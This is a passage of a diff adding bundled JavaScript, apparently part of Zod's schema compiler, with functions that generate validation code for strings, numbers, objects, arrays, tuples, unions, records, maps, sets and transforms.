+ typeAccessor = generateTransformCheck(doc, ctx, schema, accessor); + break; + case "catch": + typeAccessor = generateCatchCheck(doc, ctx, schema, accessor); + break; + default: { + throw new ZodCompileUnsupportedError(`schema type ${type}`); + } + } + if (typeAccessor === null) + return null; + return generateChecks(doc, ctx, schema, typeAccessor); +} +function generateStringCheck(doc, ctx, schema, accessor, needsValue = true) { + doc.write(`if (typeof ${accessor} !== "string") return INVALID;`); + const def = schema._zod.def; + if (def.format === void 0) + return accessor; + return generateStringFormatCheck(doc, ctx, def, accessor, needsValue); +} +function generateNumberCheck(doc, schema, accessor) { + doc.write(`if (typeof ${accessor} !== "number" || !Number.isFinite(${accessor})) return INVALID;`); + const def = schema._zod.def; + if (def.check === "number_format" && def.format) { + generateNumberFormatCheck(doc, { format: def.format }, accessor); + } + return accessor; +} +function generateBooleanCheck(doc, accessor) { + doc.write(`if (typeof ${accessor} !== "boolean") return INVALID;`); + return accessor; +} +function generateBigIntCheck(doc, schema, accessor) { + doc.write(`if (typeof ${accessor} !== "bigint") return INVALID;`); + const def = schema._zod.def; + if (def.format) { + switch (def.format) { + case "int64": + doc.write(`if (${accessor} < -9223372036854775808n || ${accessor} > 9223372036854775807n) return INVALID;`); + break; + case "uint64": + doc.write(`if (${accessor} < 0n || ${accessor} > 18446744073709551615n) return INVALID;`); + break; + } + } + return accessor; +} +function generateSymbolCheck(doc, accessor) { + doc.write(`if (typeof ${accessor} !== "symbol") return INVALID;`); + return accessor; +} +function generateUndefinedCheck(doc, accessor) { + doc.write(`if (${accessor} !== undefined) return INVALID;`); + return accessor; +} +function generateNullCheck(doc, accessor) { + doc.write(`if (${accessor} !== null) return INVALID;`); + return accessor; +} +function generateVoidCheck(doc, accessor) { + doc.write(`if (${accessor} !== undefined) return INVALID;`); + return accessor; +} +function generateNaNCheck(doc, accessor) { + doc.write(`if (typeof ${accessor} !== "number" || !Number.isNaN(${accessor})) return INVALID;`); + return accessor; +} +function generateDateCheck(doc, accessor) { + doc.write(`if (!(${accessor} instanceof Date) || Number.isNaN(${accessor}.getTime())) return INVALID;`); + return accessor; +} +function generateObjectCheck(doc, ctx, schema, accessor, buildsValue = true) { + const def = schema._zod.def; + doc.write(`if (typeof ${accessor} !== "object" || ${accessor} === null || Array.isArray(${accessor})) return INVALID;`); + const shape = def.shape; + const keys = Object.keys(shape); + const symbolKeys = Object.getOwnPropertySymbols(shape); + const allKeys = symbolKeys.length ? [...keys, ...symbolKeys] : keys; + const keyExpr = (k) => typeof k === "symbol" ? addConstant(ctx, k) : esc(k); + const propKey = (k) => typeof k === "symbol" ? `[${keyExpr(k)}]` : esc(k); + const propShape = shape; + if (keys.includes("__proto__")) { + throw new ZodCompileUnsupportedError('object shape key "__proto__"'); + } + const propOutputs = /* @__PURE__ */ new Map(); + for (const key of allKeys) { + const propSchema = propShape[key]; + const kx = keyExpr(key); + const inputVar = newVar(ctx); + doc.write(`const ${inputVar} = ${accessor}[${kx}];`); + if (propSchema._zod.optin !== void 0) { + const outputVar2 = newVar(ctx); + doc.write(`let ${outputVar2} = (() => {`); + doc.indented((d) => { + const outputAccessor = compileChild(d, ctx, propSchema, inputVar); + d.write(`return ${outputAccessor};`); + }); + doc.write(`})();`); + if (propSchema._zod.optout === "optional") { + doc.write(`if (${outputVar2} === INVALID) {`); + doc.indented((d) => { + d.write(`if (${kx} in ${accessor}) return INVALID;`); + d.write(`${outputVar2} = undefined;`); + }); + doc.write(`}`); + } else { + doc.write(`if (${outputVar2} === INVALID) return INVALID;`); + } + propOutputs.set(key, outputVar2); + } else { + if (requiresPresenceCheck(propSchema)) { + doc.write(`if (!(${kx} in ${accessor})) return INVALID;`); + } + const outputAccessor = compileChild(doc, ctx, propSchema, inputVar, buildsValue); + if (outputAccessor !== null) + propOutputs.set(key, outputAccessor); + } + } + const catchall = def.catchall; + let unknownKeysMode = "none"; + if (catchall) { + const catchallType = catchall._zod.def.type; + if (catchallType === "never") { + const condition = keys.map((k) => `k !== ${esc(k)}`).join(" && ") || "true"; + doc.write(`for (const k in ${accessor}) {`); + doc.indented((d) => { + d.write(`if (${condition}) return INVALID;`); + }); + doc.write(`}`); + } else if ((catchallType === "unknown" || catchallType === "any") && !catchall._zod.def.checks?.length) { + unknownKeysMode = "passthrough"; + } else { + unknownKeysMode = "schema"; + } + } + const outputVar = newVar(ctx); + const hasConditionalKeys = allKeys.some((k) => mayOmitUndefined(propShape[k]) || dropsWhenAbsent(propShape[k])); + if (!buildsValue) { + if (unknownKeysMode === "schema") { + const knownSet = keys.length > 0 ? addConstant(ctx, new Set(keys)) : null; + doc.write(`for (const k in ${accessor}) {`); + doc.indented((d) => { + d.write(`if (k === "__proto__") continue;`); + if (knownSet) + d.write(`if (${knownSet}.has(k)) continue;`); + const valVar = newVar(ctx); + d.write(`const ${valVar} = ${accessor}[k];`); + compileChild(d, ctx, catchall, valVar, false); + }); + doc.write(`}`); + } + return null; + } + if (!hasConditionalKeys) { + const propLiterals = allKeys.map((k) => `${propKey(k)}: ${propOutputs.get(k)}`).join(", "); + doc.write(`const ${outputVar} = { ${propLiterals} };`); + } else { + doc.write(`const ${outputVar} = {};`); + for (const k of allKeys) { + const kx = keyExpr(k); + const out = propOutputs.get(k); + if (dropsWhenAbsent(propShape[k])) { + doc.write(`if (${kx} in ${accessor}) ${outputVar}[${kx}] = ${out};`); + } else if (mayOmitUndefined(propShape[k])) { + doc.write(`if (${out} !== undefined || ${kx} in ${accessor}) ${outputVar}[${kx}] = ${out};`); + } else { + doc.write(`${outputVar}[${kx}] = ${out};`); + } + } + } + if (unknownKeysMode !== "none") { + const knownSet = keys.length > 0 ? addConstant(ctx, new Set(keys)) : null; + doc.write(`for (const k in ${accessor}) {`); + doc.indented((d) => { + d.write(`if (k === "__proto__") continue;`); + if (knownSet) + d.write(`if (${knownSet}.has(k)) continue;`); + if (unknownKeysMode === "passthrough") { + d.write(`${outputVar}[k] = ${accessor}[k];`); + } else { + const valVar = newVar(ctx); + d.write(`const ${valVar} = ${accessor}[k];`); + const catchallOut = compileChild(d, ctx, catchall, valVar); + d.write(`${outputVar}[k] = ${catchallOut};`); + } + }); + doc.write(`}`); + } + return outputVar; +} +function generateOptionalCheck(doc, ctx, schema, accessor, buildsValue = true) { + const def = schema._zod.def; + if (isExactOptional(schema)) { + return generateCheck(doc, ctx, def.innerType, accessor, buildsValue); + } + if (def.innerType._zod.optin === "defaulted") { + const outputVar2 = newVar(ctx); + const branchVar = newVar(ctx); + doc.write(`let ${outputVar2};`); + doc.write(`if (${accessor} === undefined) {`); + doc.indented((d) => { + d.write(`const ${branchVar} = (() => {`); + d.indented((d2) => { + const innerOutput = generateCheck(d2, ctx, def.innerType, accessor); + d2.write(`return ${innerOutput};`); + }); + d.write(`})();`); + d.write(`if (${branchVar} !== INVALID) ${outputVar2} = ${branchVar};`); + }); + doc.write(`} else {`); + doc.indented((d) => { + const innerOutput = generateCheck(d, ctx, def.innerType, accessor); + d.write(`${outputVar2} = ${innerOutput};`); + }); + doc.write(`}`); + return outputVar2; + } + const outputVar = buildsValue ? newVar(ctx) : null; + if (outputVar) + doc.write(`let ${outputVar};`); + doc.write(`if (${accessor} !== undefined) {`); + doc.indented((d) => { + const innerOutput = generateCheck(d, ctx, def.innerType, accessor, buildsValue); + if (outputVar && innerOutput !== null) + d.write(`${outputVar} = ${innerOutput};`); + }); + doc.write(`}`); + return outputVar; +} +function isExactOptional(schema) { + return schema._zod.traits?.has("$ZodExactOptional") === true; +} +function requiresPresenceCheck(schema) { + return schema._zod.optin === void 0 && fastPathAcceptsAbsence(schema); +} +function fastPathAcceptsAbsence(schema) { + if (schema._zod.def.coerce) + return true; + const def = schema._zod.def; + switch (def.type) { + case "any": + case "unknown": + case "undefined": + case "void": + case "default": + case "prefault": + case "transform": + case "custom": + case "lazy": + return true; + case "string": + case "number": + case "boolean": + case "bigint": + case "symbol": + case "null": + case "never": + case "nan": + case "date": + case "object": + case "array": + case "tuple": + case "record": + case "map": + case "set": + case "file": + case "template_literal": + return false; + case "nonoptional": + return def.innerType ? fastPathAcceptsAbsence(def.innerType) : false; + case "literal": + return !!def.values?.includes(void 0); + case "enum": + return !!schema._zod.values?.has(void 0); + case "optional": + case "nullable": + case "readonly": + case "success": + return def.innerType ? fastPathAcceptsAbsence(def.innerType) : true; + case "catch": + return true; + case "union": + return def.options ? def.options.some(fastPathAcceptsAbsence) : true; + case "intersection": + if (!def.left || !def.right) + return true; + return fastPathAcceptsAbsence(def.left) && fastPathAcceptsAbsence(def.right); + case "pipe": + return def.in ? fastPathAcceptsAbsence(def.in) : true; + default: + return true; + } +} +function dropsWhenAbsent(schema) { + return schema._zod.optin === "optional" && schema._zod.optout === "optional"; +} +function mayOmitUndefined(schema) { + return (schema._zod.optin !== "defaulted" || schema._zod.optout === "optional") && mayOutputUndefined(schema); +} +function mayOutputUndefined(schema) { + const def = schema._zod.def; + switch (def.type) { + case "string": + case "number": + case "boolean": + case "bigint": + case "symbol": + case "null": + case "nan": + case "date": + case "object": + case "array": + case "tuple": + case "record": + case "map": + case "set": + case "file": + case "template_literal": + case "never": + case "success": + return false; + case "literal": + return !!def.values?.includes(void 0); + case "enum": + return !!schema._zod.values?.has(void 0); + case "optional": + return true; + case "nullable": + case "readonly": + case "nonoptional": + return def.innerType ? mayOutputUndefined(def.innerType) : true; + case "union": + return def.options ? def.options.some(mayOutputUndefined) : true; + case "intersection": + return !def.left || !def.right || mayOutputUndefined(def.left) || mayOutputUndefined(def.right); + case "pipe": + return def.out ? mayOutputUndefined(def.out) : true; + default: + return true; + } +} +function generateNullableCheck(doc, ctx, schema, accessor, buildsValue = true) { + const def = schema._zod.def; + const outputVar = buildsValue ? newVar(ctx) : null; + if (outputVar) + doc.write(`let ${outputVar} = null;`); + doc.write(`if (${accessor} !== null) {`); + doc.indented((d) => { + const innerOutput = generateCheck(d, ctx, def.innerType, accessor, buildsValue); + if (outputVar && innerOutput !== null) + d.write(`${outputVar} = ${innerOutput};`); + }); + doc.write(`}`); + return outputVar; +} +function generateSizeGate(doc, schema, size2) { + for (const [max, check3] of sizeCaps(schema._zod.def.checks)) { + doc.write(`if (${size2} > ${numericOperand(max, check3._zod.def.check)}) return INVALID;`); + } +} +function generateArrayCheck(doc, ctx, schema, accessor, buildsValue = true) { + const def = schema._zod.def; + doc.write(`if (!Array.isArray(${accessor})) return INVALID;`); + generateSizeGate(doc, schema, `${accessor}.length`); + const outputVar = buildsValue ? newVar(ctx) : null; + const iVar = newVar(ctx); + const elemVar = newVar(ctx); + if (outputVar) + doc.write(`const ${outputVar} = new Array(${accessor}.length);`); + doc.write(`for (let ${iVar} = 0; ${iVar} < ${accessor}.length; ${iVar}++) {`); + doc.indented((d) => { + d.write(`const ${elemVar} = ${accessor}[${iVar}];`); + const elemOutput = compileChild(d, ctx, def.element, elemVar, buildsValue); + if (outputVar && elemOutput !== null) + d.write(`${outputVar}[${iVar}] = ${elemOutput};`); + }); + doc.write(`}`); + return outputVar; +} +function generateLiteralCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const values2 = def.values; + if (values2.length !== 1) { + const literalSet = addConstant(ctx, new Set(values2)); + doc.write(`if (!${literalSet}.has(${accessor})) return INVALID;`); + return accessor; + } + const value = values2[0]; + if (typeof value === "number" && Number.isNaN(value)) { + const literalSet = addConstant(ctx, new Set(values2)); + doc.write(`if (!${literalSet}.has(${accessor})) return INVALID;`); + return accessor; + } + if (typeof value === "string") { + doc.write(`if (${accessor} !== ${esc(value)}) return INVALID;`); + } else if (typeof value === "number" || typeof value === "boolean") { + doc.write(`if (${accessor} !== ${value}) return INVALID;`); + } else if (value === null) { + doc.write(`if (${accessor} !== null) return INVALID;`); + } else if (value === void 0) { + doc.write(`if (${accessor} !== undefined) return INVALID;`); + } else if (typeof value === "bigint") { + doc.write(`if (${accessor} !== ${value}n) return INVALID;`); + } else { + throw new ZodCompileUnsupportedError(`literal type ${typeof value}`); + } + return accessor; +} +function generateEnumCheck(doc, ctx, schema, accessor) { + const values2 = schema._zod.values; + if (!values2) { + throw new ZodCompileUnsupportedError("enum schema without enumerated values"); + } + const enumSet = addConstant(ctx, values2); + doc.write(`if (!${enumSet}.has(${accessor})) return INVALID;`); + return accessor; +} +function generateWrapperCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + return generateCheck(doc, ctx, def.innerType, accessor); +} +function generateDefaultCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const descriptor = Object.getOwnPropertyDescriptor(schema._zod.def, "defaultValue"); + const defaultGetter = descriptor ? () => schema._zod.def.defaultValue : void 0; + if (schema._zod.def.type === "prefault") { + if (!defaultGetter) { + return generateCheck(doc, ctx, def.innerType, accessor); + } + const defaultFn = addConstant(ctx, defaultGetter); + const inputVar = newVar(ctx); + doc.write(`let ${inputVar} = ${accessor};`); + doc.write(`if (${accessor} === undefined) ${inputVar} = ${defaultFn}();`); + return generateCheck(doc, ctx, def.innerType, inputVar); + } + const outputVar = newVar(ctx); + if (defaultGetter) { + const defaultFn = addConstant(ctx, defaultGetter); + const cloneFn = addConstant(ctx, shallowClone); + doc.write(`let ${outputVar};`); + doc.write(`if (${accessor} === undefined) {`); + doc.indented((d) => { + d.write(`${outputVar} = ${cloneFn}(${defaultFn}());`); + }); + doc.write(`} else {`); + doc.indented((d) => { + const innerOutput = generateCheck(d, ctx, def.innerType, accessor); + d.write(`${outputVar} = ${innerOutput} === undefined ? ${cloneFn}(${defaultFn}()) : ${innerOutput};`); + }); + doc.write(`}`); + } else { + doc.write(`let ${outputVar};`); + doc.write(`if (${accessor} !== undefined) {`); + doc.indented((d) => { + const innerOutput = generateCheck(d, ctx, def.innerType, accessor); + d.write(`${outputVar} = ${innerOutput};`); + }); + doc.write(`}`); + } + return outputVar; +} +function generateNonOptionalCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const innerOutput = generateCheck(doc, ctx, def.innerType, accessor); + const outputVar = newVar(ctx); + doc.write(`const ${outputVar} = ${innerOutput};`); + doc.write(`if (${outputVar} === undefined) return INVALID;`); + return outputVar; +} +function generateTupleCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const items = def.items; + const rest = def.rest; + doc.write(`if (!Array.isArray(${accessor})) return INVALID;`); + const optinStart = getTupleOptStart2(items, "optin"); + const optoutStart = getTupleOptStart2(items, "optout"); + if (rest) { + doc.write(`if (${accessor}.length < ${optinStart}) return INVALID;`); + } else { + doc.write(`if (${accessor}.length < ${optinStart} || ${accessor}.length > ${items.length}) return INVALID;`); + } + const outputVar = newVar(ctx); + doc.write(`const ${outputVar} = [];`); + for (let i = 0; i < items.length; i++) { + const itemSchema = items[i]; + if (i >= optoutStart) { + doc.write(`if (${outputVar}.length === ${i}) {`); + doc.indented((d) => { + d.write(`if (${i} < ${accessor}.length) {`); + d.indented((d2) => { + const elemVar = newVar(ctx); + d2.write(`const ${elemVar} = ${accessor}[${i}];`); + const elemOutput = compileChild(d2, ctx, itemSchema, elemVar); + d2.write(`${outputVar}[${i}] = ${elemOutput};`); + }); + d.write(`} else {`); + d.indented((d2) => { + if (dropsWhenAbsent(itemSchema)) { + d2.write(`${outputVar}.length = ${i};`); + return; + } + const elemVar = newVar(ctx); + const branchVar = newVar(ctx); + d2.write(`const ${elemVar} = undefined;`); + d2.write(`const ${branchVar} = (() => {`); + d2.indented((d3) => { + const elemOutput = compileChild(d3, ctx, itemSchema, elemVar); + d3.write(`return ${elemOutput};`); + }); + d2.write(`})();`); + d2.write(`if (${branchVar} === INVALID || ${branchVar} === undefined) ${outputVar}.length = ${i};`); + d2.write(`else ${outputVar}[${i}] = ${branchVar};`); + }); + d.write(`}`); + }); + doc.write(`}`); + } else { + const elemVar = newVar(ctx); + doc.write(`const ${elemVar} = ${accessor}[${i}];`); + const elemOutput = compileChild(doc, ctx, itemSchema, elemVar); + doc.write(`${outputVar}[${i}] = ${elemOutput};`); + } + } + if (rest) { + const iVar = newVar(ctx); + const elemVar = newVar(ctx); + doc.write(`for (let ${iVar} = ${items.length}; ${iVar} < ${accessor}.length; ${iVar}++) {`); + doc.indented((d) => { + d.write(`const ${elemVar} = ${accessor}[${iVar}];`); + const elemOutput = compileChild(d, ctx, rest, elemVar); + d.write(`${outputVar}[${iVar}] = ${elemOutput};`); + }); + doc.write(`}`); + } + return outputVar; +} +function getTupleOptStart2(items, key) { + for (let i = items.length - 1; i >= 0; i--) { + const omittable = key === "optin" ? items[i]._zod.optin !== void 0 : items[i]._zod.optout === "optional"; + if (!omittable) + return i + 1; + } + return 0; +} +function generateUnionCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const options = def.options; + if (def.discriminator) { + return generateDiscriminatedUnionCheck(doc, ctx, def, accessor); + } + if (def.inclusive === false) { + throw new ZodCompileUnsupportedError("exclusive unions (z.xor)"); + } + if (options.length === 0) { + doc.write("return INVALID;"); + return accessor; + } + if (options.length === 1) { + return generateCheck(doc, ctx, options[0], accessor); + } + const allLiterals = options.every((opt) => opt._zod.def.type === "literal" && !opt._zod.def.checks?.length); + if (allLiterals) { + const values2 = new Set(options.flatMap((opt) => opt._zod.def.values)); + const valuesConst = addConstant(ctx, values2); + doc.write(`if (!${valuesConst}.has(${accessor})) return INVALID;`); + return accessor; + } + const outputVar = newVar(ctx); + doc.write(`let ${outputVar};`); + for (let i = 0; i < options.length; i++) { + const opt = options[i]; + if (i === 0) { + doc.write(`${outputVar} = (() => {`); + } else { + doc.write(`if (${outputVar} === INVALID) ${outputVar} = (() => {`); + } + doc.indented((d) => { + const branchOutput = generateCheck(d, ctx, opt, accessor); + d.write(`return ${branchOutput};`); + }); + doc.write(`})();`); + } + doc.write(`if (${outputVar} === INVALID) return INVALID;`); + return outputVar; +} +function generateDiscriminatedUnionCheck(doc, ctx, def, accessor) { + if (def.unionFallback) { + throw new ZodCompileUnsupportedError("discriminated union with unionFallback"); + } + if (def.options.length === 0) { + doc.write("return INVALID;"); + return accessor; + } + const discVar = newVar(ctx); + const outputVar = newVar(ctx); + doc.write(`const ${discVar} = ${accessor}?.[${esc(def.discriminator)}];`); + doc.write(`let ${outputVar};`); + let firstBranch = true; + const claimed = /* @__PURE__ */ new Set(); + for (const option of def.options) { + const values2 = option._zod.propValues?.[def.discriminator]; + if (!values2 || values2.size === 0) { + throw new ZodCompileUnsupportedError("discriminated union option without static discriminator values"); + } + for (const value of values2) { + if (claimed.has(value)) { + throw new ZodCompileUnsupportedError(`duplicate discriminator value ${String(value)}`); + } + claimed.add(value); + } + const conditions = Array.from(values2, (value) => literalEquality(ctx, discVar, value)); + const prefix = firstBranch ? "if" : "else if"; + doc.write(`${prefix} (${conditions.join(" || ")}) {`); + doc.indented((d) => { + const branchOutput = generateCheck(d, ctx, option, accessor); + d.write(`${outputVar} = ${branchOutput};`); + }); + doc.write(`}`); + firstBranch = false; + } + doc.write(`else { return INVALID; }`); + return outputVar; +} +function literalEquality(ctx, accessor, value) { + if (typeof value === "string") + return `${accessor} === ${esc(value)}`; + if (typeof value === "number") { + if (Number.isNaN(value)) + return `Number.isNaN(${accessor})`; + return `${accessor} === ${value}`; + } + if (typeof value === "boolean") + return `${accessor} === ${value}`; + if (value === null) + return `${accessor} === null`; + if (value === void 0) + return `${accessor} === undefined`; + if (typeof value === "bigint") + return `${accessor} === ${value}n`; + if (typeof value === "symbol") { + const symbolConst = addConstant(ctx, value); + return `${accessor} === ${symbolConst}`; + } + throw new ZodCompileUnsupportedError(`literal discriminator value ${String(value)}`); +} +function generateIntersectionCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + ctx.definite = false; + const leftOutput = compileChild(doc, ctx, def.left, accessor); + const rightOutput = compileChild(doc, ctx, def.right, accessor); + const mergeConst = addConstant(ctx, mergeValues); + const mergedVar = newVar(ctx); + doc.write(`const ${mergedVar} = ${mergeConst}(${leftOutput}, ${rightOutput});`); + doc.write(`if (!${mergedVar}.valid) return INVALID;`); + return `${mergedVar}.data`; +} +function generateRecordCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const isPlainObjectConst = addConstant(ctx, isPlainObject); + doc.write(`if (!${isPlainObjectConst}(${accessor})) return INVALID;`); + const outputVar = newVar(ctx); + const kVar = newVar(ctx); + const valVar = newVar(ctx); + doc.write(`const ${outputVar} = {};`); + const recordDef = def; + const keyValues = recordDef.partial ? void 0 : def.keyType._zod.values; + if (keyValues) { + const inputKeys = []; + for (const key of keyValues) { + if (!(typeof key === "string" || typeof key === "number" || typeof key === "symbol")) { + throw new ZodCompileUnsupportedError(`record key value ${String(key)}`); + } + const inputKey = typeof key === "number" ? key.toString() : key; + if (inputKey === "__proto__") { + throw new ZodCompileUnsupportedError('record key "__proto__"'); + } + inputKeys.push(inputKey); + const keyConst = addConstant(ctx, key); + const outKey = generateCheck(doc, ctx, def.keyType, keyConst); + const valueVar = newVar(ctx); + doc.write(`const ${valueVar} = ${accessor}[${literalPropertyKey(ctx, inputKey)}];`); + const valOutput = compileChild(doc, ctx, def.valueType, valueVar); + doc.write(`${outputVar}[${outKey}] = ${valOutput};`); + } + const knownKeysConst = addConstant(ctx, new Set(inputKeys)); + doc.write(`for (const ${kVar} in ${accessor}) {`); + doc.indented((d) => { + d.write(`if (${knownKeysConst}.has(${kVar})) continue;`); + if (recordDef.mode === "loose") { + d.write(`if (${kVar} !== "__proto__") ${outputVar}[${kVar}] = ${accessor}[${kVar}];`); + } else { + d.write(`return INVALID;`); + } + }); + doc.write(`}`); + return outputVar; + } + const keyDef = def.keyType._zod.def; + const keyIsBareString = keyDef.type === "string" && keyDef.format === void 0 && !keyDef.coerce && (keyDef.checks?.length ?? 0) === 0; + if (!keyIsBareString) { + const isLoose = def.mode === "loose"; + const keyFn = compileFn(def.keyType); + if (keyFn.definite === false) + ctx.definite = false; + const keyFast = addConstant(ctx, keyFn); + const numericConst = addConstant(ctx, number); + const outKeyVar = newVar(ctx); + emitOwnKeys(doc, ctx, accessor, kVar, (d) => { + d.write(`let ${outKeyVar} = ${keyFast}(${kVar});`); + d.write(`if (${outKeyVar} === INVALID && typeof ${kVar} === "string" && ${numericConst}.test(${kVar})) ${outKeyVar} = ${keyFast}(Number(${kVar}));`); + if (isLoose) { + d.write(`if (${outKeyVar} === INVALID) { ${outputVar}[${kVar}] = ${accessor}[${kVar}]; continue; }`); + } else { + d.write(`if (${outKeyVar} === INVALID) return INVALID;`); + } + d.write(`if (${outKeyVar} === "__proto__") continue;`); + const valueVar = newVar(ctx); + d.write(`const ${valueVar} = ${accessor}[${kVar}];`); + const valOutput = compileChild(d, ctx, def.valueType, valueVar); + d.write(`${outputVar}[${outKeyVar}] = ${valOutput};`); + }); + return outputVar; + } + emitOwnKeys(doc, ctx, accessor, kVar, (d) => { + d.write(`const ${valVar} = ${accessor}[${kVar}];`); + const valOutput = compileChild(d, ctx, def.valueType, valVar); + d.write(`${outputVar}[${kVar}] = ${valOutput};`); + }, `return INVALID;`); + return outputVar; +} +function emitOwnKeys(doc, ctx, accessor, kVar, body, onSymbol) { + const propIsEnumerableConst = addConstant(ctx, Object.prototype.propertyIsEnumerable); + const symsVar = newVar(ctx); + const keysVar = newVar(ctx); + const iVar = newVar(ctx); + doc.write(`const ${symsVar} = Object.getOwnPropertySymbols(${accessor});`); + doc.write(`const ${keysVar} = Object.getOwnPropertyNames(${accessor});`); + doc.write(`for (let ${iVar} = 0; ${iVar} < ${keysVar}.length; ${iVar}++) {`); + doc.indented((d) => { + d.write(`const ${kVar} = ${keysVar}[${iVar}];`); + d.write(`if (${kVar} === "__proto__" || !${propIsEnumerableConst}.call(${accessor}, ${kVar})) continue;`); + body(d); + }); + doc.write(`}`); + doc.write(`for (let ${iVar} = 0; ${iVar} < ${symsVar}.length; ${iVar}++) {`); + doc.indented((d) => { + d.write(`const ${kVar} = ${symsVar}[${iVar}];`); + d.write(`if (!${propIsEnumerableConst}.call(${accessor}, ${kVar})) continue;`); + if (onSymbol) + d.write(onSymbol); + else + body(d); + }); + doc.write(`}`); +} +function literalPropertyKey(ctx, key) { + if (typeof key === "string") + return esc(key); + return addConstant(ctx, key); +} +function generateMapCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + doc.write(`if (!(${accessor} instanceof Map)) return INVALID;`); + generateSizeGate(doc, schema, `${accessor}.size`); + const outputVar = newVar(ctx); + const kVar = newVar(ctx); + const valVar = newVar(ctx); + doc.write(`const ${outputVar} = new Map();`); + doc.write(`for (const [${kVar}, ${valVar}] of ${accessor}) {`); + doc.indented((d) => { + const keyOutput = generateCheck(d, ctx, def.keyType, kVar); + const valOutput = generateCheck(d, ctx, def.valueType, valVar); + d.write(`${outputVar}.set(${keyOutput}, ${valOutput});`); + }); + doc.write(`}`); + return outputVar; +} +function generateSetCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + doc.write(`if (!(${accessor} instanceof Set)) return INVALID;`); + generateSizeGate(doc, schema, `${accessor}.size`); + const outputVar = newVar(ctx); + const valVar = newVar(ctx); + doc.write(`const ${outputVar} = new Set();`); + doc.write(`for (const ${valVar} of ${accessor}) {`); + doc.indented((d) => { + const valOutput = generateCheck(d, ctx, def.valueType, valVar); + d.write(`${outputVar}.add(${valOutput});`); + }); + doc.write(`}`); + return outputVar; +} +function generateFileCheck(doc, accessor) { + doc.write(`if (!(${accessor} instanceof File)) return INVALID;`); + return accessor; +} +function generateTemplateLiteralCheck(doc, ctx, schema, accessor) { + doc.write(`if (typeof ${accessor} !== "string") return INVALID;`); + const pattern = schema._zod.pattern; + if (pattern) { + const patternConst = addConstant(ctx, pattern); + doc.write(`${patternConst}.lastIndex = 0;`); + doc.write(`if (!${patternConst}.test(${accessor})) return INVALID;`); + } + return accessor; +} +function generateLazyCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const getterConst = addUserConstant(ctx, def.getter); + const cacheConst = addConstant(ctx, { parser: null }); + doc.write(`if (!${cacheConst}.parser) {`); + doc.indented((d) => { + d.write(`const inner = ${getterConst}();`); + d.write(`${cacheConst}.parser = function(input) {`); + d.indented((d2) => { + d2.write(`const result = inner._zod.run({ value: input, issues: [] }, {});`); + d2.write(`return result.issues.length === 0 ? result.value : INVALID;`); + }); + d.write(`};`); + }); + doc.write(`}`); + const outputVar = newVar(ctx); + doc.write(`const ${outputVar} = ${cacheConst}.parser(${accessor});`); + doc.write(`if (${outputVar} === INVALID) return INVALID;`); + return outputVar; +} +function generatePipeCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const inputOutput = generateCheck(doc, ctx, def.in, accessor); + if (def.transform) { + if (isAsyncFunction(def.transform)) { + throw new ZodCompileAsyncError("z.compile: async transforms in pipes are not supported"); + } + const transformFn = def.transform; + const helperFn = (value) => { + const fakePayload = { value, issues: [], addIssue: pushIssue }; + const result = transformFn(value, fakePayload); + if (result instanceof Promise) + return INVALID; + return fakePayload.issues.length === 0 ? result : INVALID; + }; + const helperConst = addUserConstant(ctx, helperFn); + const transformedVar = newVar(ctx); + doc.write(`const ${transformedVar} = ${helperConst}(${inputOutput});`); + doc.write(`if (${transformedVar} === INVALID) return INVALID;`); + return generateCheck(doc, ctx, def.out, transformedVar); + } else { + return generateCheck(doc, ctx, def.out, inputOutput); + } +} +function isAsyncFunction(fn) { + return typeof fn === "function" && (fn.constructor.name === "AsyncFunction" || fn[Symbol.toStringTag] === "AsyncFunction"); +} +function generateCustomCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + if (def.fn) { + if (isAsyncFunction(def.fn)) { + throw new ZodCompileAsyncError("z.compile: async custom predicates are not supported"); + } + const fnConst = addUserConstant(ctx, def.fn); + const throwAsyncConst = addConstant(ctx, throwAsync); + const resVar = newVar(ctx); + doc.write(`const ${resVar} = ${fnConst}(${accessor});`); + doc.write(`if (${resVar} instanceof Promise) ${throwAsyncConst}();`); + doc.write(`if (!${resVar}) return INVALID;`); + } else { + throw new ZodCompileUnsupportedError("custom schema without a predicate function"); + } + return accessor; +} +function runtimeCatch(innerSchema, catchValue, value) { + const result = innerSchema._zod.run({ value, issues: [] }, {}); + if (result && typeof result.then === "function") + return INVALID; + const r = result; + if (r.issues.length === 0) + return r.value; + return catchValue(); +} +function generateCatchCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + if (!def.catchValue[CONSTANT_CATCH]) { + throw new ZodCompileUnsupportedError("catch with a callback (only a constant catch value compiles)", false); + } + const outputVar = newVar(ctx); + doc.write(`let ${outputVar} = (() => {`); + doc.indented((d) => { + const innerOut = compileChild(d, ctx, def.innerType, accessor); + d.write(`return ${innerOut};`); + }); + doc.write(`})();`); + const innerConst = addConstant(ctx, def.innerType); + const catchConst = addUserConstant(ctx, def.catchValue); + const catchHelperConst = addConstant(ctx, runtimeCatch); + doc.write(`if (${outputVar} === INVALID) {`); + doc.indented((d) => { + d.write(`${outputVar} = ${catchHelperConst}(${innerConst}, ${catchConst}, ${accessor});`); + d.write(`if (${outputVar} === INVALID) return INVALID;`); + }); + doc.write(`}`); + return outputVar; +} +function generateTransformCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + if (def.transform) { + if (isAsyncFunction(def.transform)) { + throw new ZodCompileAsyncError("z.compile: async transforms are not supported"); + } + const transformFn = def.transform; + const helperFn = (value) => { + const fakePayload = { value, issues: [], addIssue: pushIssue }; + const result = transformFn(value, fakePayload); + if (result instanceof Promise) + return INVALID; + return fakePayload.issues.length === 0 ? result : INVALID; + }; + const helperConst = addUserConstant(ctx, helperFn); + const outputVar = newVar(ctx); + doc.write(`const ${outputVar} = ${helperConst}(${accessor});`); + doc.write(`if (${outputVar} === INVALID) return INVALID;`); + return outputVar; + } + return accessor; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/api.js 